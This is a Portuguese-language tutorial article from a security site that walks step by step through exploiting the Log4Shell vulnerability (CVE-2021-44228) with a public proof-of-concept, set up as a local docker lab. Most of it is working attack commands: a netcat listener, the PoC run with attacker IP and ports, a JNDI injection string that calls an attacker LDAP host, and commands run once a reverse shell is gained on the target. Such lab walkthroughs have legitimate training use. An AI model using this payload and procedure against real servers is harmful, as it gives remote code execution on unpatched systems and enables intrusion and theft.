Log4J é uma biblioteca usada por desenvolvedores para fazer logging, um processo que permite guardar registros, envio de informações, processamento de dados e é através desta biblioteca que o sistema registra erros.

A vulnerabilidade (CVE-2021-44228) encontrada permite acesso ao servidor e ainda há empresa que não realizaram a correção, neste artigo você tem a possibilidade de explorar esta vulnerabilidade através de uma PoC.

01 - Passo

Realize o clone do projeto log4j-shell-poc e liste o conteúdo do diretório.

Linux
git clone https://github.com/kozmer/log4j-shell-poc

cd log4j-shell-poc/

ls -l

02 - Passo

Realize a instalação das dependências :

Linux
pip install -r requirements.txt

03 - Passo

Realize o download do docker log4j-shell-poc :

Linux
docker build -t log4j-shell-poc .

04 - Passo

Realize o download do jdk1.8.0_20.zip, em seguida descompacte o arquivo.

Linux
wget https://www.100security.com.br/downloads/jdk1.8.0_20.zip

unzip jdk1.8.0_20.zip

05 - Passo

Na máquina do Atacante escute da porta 9000 :

Linux
nc -nlvp 9000

06 - Passo

Inicie o docker :

Linux
docker run --network host log4j-shell-poc

07 - Passo

Atribua a permissão 777 no diretório jdk1.8.0_20

Execute o script poc.py.

Linux
python3 poc.py --userip 192.168.0.100 --webport 8000 --lport 9000

08 - Passo

Acesse o IP do servidor Alvo :

Navegador
http://192.168.0.110:8080

09 - Passo

Copie a linha:

Linux
${jndi:ldap://192.168.0.100:1389/a}

10 - Passo

Cole a linha no campo do Username e clique em Login


11 - Passo

A conexão reversa é estabelecida na máquina do Atacante 👍

Execute os comandos:

Linux
hostname

whoami

ls

ls -l

pwd

👍 Se este artigo te ajudou compartilhe!



  Autor

Marcos Henrique

 São Paulo/SP



  Ferramentas de Exploração

© 2024 - 100SECURITY

Contato